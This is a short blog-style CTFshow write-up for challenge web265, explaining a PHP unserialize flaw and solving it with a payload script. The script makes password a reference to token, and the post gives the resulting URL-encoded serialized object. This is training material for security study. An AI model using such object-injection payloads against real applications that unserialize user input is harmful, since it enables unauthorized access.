14. CTFshow 反序列化 web265

一、代码

<?php

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){  # 4. 创建对象时调用
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;  # 3.1 password需要和token(随机md5)相等,返回真
    }
}

$ctfshow = unserialize($_GET['ctfshow']);  # 1. ctfshow需要传入序列化
$ctfshow->token=md5(mt_rand());  # 2. 随机md5值传入token

if($ctfshow->login()){  # 3. 判断login为真,输出flag
    echo $flag;
}

二、解题步骤

  1. 这里用到了浅拷贝的知识点。将随机的值在赋予其它变量。
  2. 需要思考的:如果想等于随机的值,只有随机本身才会相等。
  3. 在反序列化之前将password的值等于token。
  4. 为什么要加“&”符号,&符号代表的意思是引用赋值"

三、payload

<?php

class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct(){ 
        
        $this->password = &$this->token;  //浅拷贝
    }
}
$user = new ctfshowAdmin();
echo urlencode(serialize($user));

//O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

image

posted @ 2023-02-03 14:25  LuckMeteor  阅读(72)  评论(0编辑  收藏  举报